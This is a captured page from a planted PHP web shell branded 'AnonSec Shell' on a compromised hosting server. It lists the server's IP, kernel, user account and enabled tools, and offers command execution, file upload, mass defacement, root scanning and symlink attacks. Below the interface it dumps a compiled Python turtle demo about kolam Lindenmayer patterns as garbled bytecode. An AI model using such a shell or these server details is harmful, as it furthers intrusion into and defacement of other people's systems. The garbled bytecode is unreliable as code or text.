AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 52.14.179.210   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/root/lib64/python2.7/Demo/turtle/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/thread-self/root/lib64/python2.7/Demo/turtle/tdemo_lindenmayer_indian.pyo
�
Afc@sSdZddlTd�Zd�Zd�ZedkrOe�ZeGHe�ndS(s�       turtle-example-suite:

        xtx_lindenmayer_indian.py

Each morning women in Tamil Nadu, in southern
India, place designs, created by using rice
flour and known as kolam on the thresholds of
their homes.

These can be described by Lindenmayer systems,
which can easily be implemented with turtle
graphics and Python.

Two examples are shown here:
(1) the snake kolam
(2) anklets of Krishna

Taken from Marcia Ascher: Mathematics
Elsewhere, An Exploration of Ideas Across
Cultures

i����(t*cCsNxGt|�D]9}d}x$|D]}||j||�}q W|}q
W|S(Nt(trangetget(tseqtreplacementRulestntitnewseqtelement((s</usr/lib64/python2.7/Demo/turtle/tdemo_lindenmayer_indian.pytreplaces

cCsWxP|D]H}y||�Wqtk
rNyt|||�WqOqOXqXqWdS(N(t	TypeErrortdraw(tcommandstrulestb((s</usr/lib64/python2.7/Demo/turtle/tdemo_lindenmayer_indian.pyR&s

cCsrd�}d�}d�}i|d6|d6|d6dd6}id	d6}d
}t||d�}t�td�tdd
�t�t�td�t�t||�ddl	m
}|d�d�}d�}	d�}
i|d6|	d6|
d6}idd6dd6}d}
t�td
�tdd
�t�td�t|
|d�}t||�td�dS(NcSstd�dS(Ni-(tright(((s</usr/lib64/python2.7/Demo/turtle/tdemo_lindenmayer_indian.pytr7scSstd�dS(Ni-(tleft(((s</usr/lib64/python2.7/Demo/turtle/tdemo_lindenmayer_indian.pytl:scSstd�dS(Ng@(tforward(((s</usr/lib64/python2.7/Demo/turtle/tdemo_lindenmayer_indian.pytf=st-t+Rsf+f+f--f--f+f+fRsb+f+b--f--b+f+bs
b--f--b--fiiii�i����(tsleepcSstd�tdd�dS(Ntredi
iZ(tcolortcircle(((s</usr/lib64/python2.7/Demo/turtle/tdemo_lindenmayer_indian.pytAVs
cSsOddlm}td�d|d�}t|�t|d�t|�dS(Ni����(tsqrttblackiii(tmathRRRR(RR((s</usr/lib64/python2.7/Demo/turtle/tdemo_lindenmayer_indian.pytBZs


cSstd�td�dS(Ntgreeni
(RR(((s</usr/lib64/python2.7/Demo/turtle/tdemo_lindenmayer_indian.pytFbs
tatafbfat	afbfbfbfatfbfbfbfbi-sDone!(R
tresettspeedttracerthttuptbackwardtdownRttimeRR(RRRtsnake_rulestsnake_replacementRulestsnake_starttdrawingRRR R"t
krishna_rulestkrishna_replacementRulest
krishna_start((s</usr/lib64/python2.7/Demo/turtle/tdemo_lindenmayer_indian.pytmain1s@			"





			




t__main__N(t__doc__tturtleR
RR6t__name__tmsgtmainloop(((s</usr/lib64/python2.7/Demo/turtle/tdemo_lindenmayer_indian.pyt<module>s
			C	

Anon7 - 2022
AnonSec Team